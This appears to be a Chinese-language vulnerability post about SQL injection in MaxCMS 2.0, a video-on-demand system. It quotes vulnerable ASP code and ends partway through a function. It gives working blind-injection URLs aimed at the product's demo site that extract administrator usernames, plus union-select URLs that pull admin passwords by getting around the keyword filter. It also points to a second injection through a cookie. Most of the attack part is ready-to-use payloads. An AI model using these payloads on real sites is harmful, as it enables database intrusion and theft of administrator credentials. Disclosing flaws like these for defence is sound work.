这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。
看代码
incajax.asp
- dim action : action = getForm("action", "get")
- response.Charset="gbk"
- Select case action
- case "newslist" : viewNewsList
- case "newscontent" : viewNewsContent
- case "digg","tread" : scoreVideo(action)
- case "reporterr" : reportErr
- case "hit" : updateHit
- case else : main
- End Select
- terminateAllObjects
- ……
- Sub scoreVideo(operType)
- dim sql,id,digg,returnValue : id=getForm("id","get")
- \'通过get方式获取id的值
- if rCOOKIE("maxcms2_score"&id)="ok" then die "havescore"
- if isNul(id) then die "err"
- \'on error resume next
- digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)
- \' 参数id,没有过滤就带入sql语句进行查询
- if err then digg=0 : err.clear()
- if not isNum(id) then echoSaveStr "safe" else id=clng(id)
- \' 查询到digg,注意返回的内容
- ……
利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd),根据返回的内容判断就可以了。
如果构造的语句是正确的,就返回类似警告 你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:
- http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
不正确的:
- http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
以前也简单看了下这个系统。具体的代码也没记录,就留下两句注入语句,呵呵 可能现在这注入已经不在了。
真的很弱智的漏洞。因为sql检测过滤的时候是关键字判断,可是很多重要的关键字后面又加上了个个空格,这样就可以通过寂寞的刺猬发现的用()替代空格的方法绕过。
- http://localhost/play.asp?id=-999+union(select(password),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])
- http://localhost/play.asp?id=-999+union(select(adminname),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])
另外一处注射
- Sub checkPower
- dim loginValidate,rsObj : loginValidate = "maxcms2.0"
- err.clear
- on error resume next
- set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username=\'"&rCOOKIE("m_username")&"\'","execute")
- loginValidate = md5(getAgent&getIp&rsObj(0))
- if err then wCOOKIE "check"&rCOOKIE("m_username"),"" : die ""
- if rCOOKIE("check"&rCOOKIE("m_username"))<>loginValidate then wCOOKIE "check"&rCOOKIE("m_username"),"" : die ""
- checkManagerLevel rsObj(1)
- set rsObj=nothing
- End Sub
其中
- Function rCOOKIE(COOKIEName)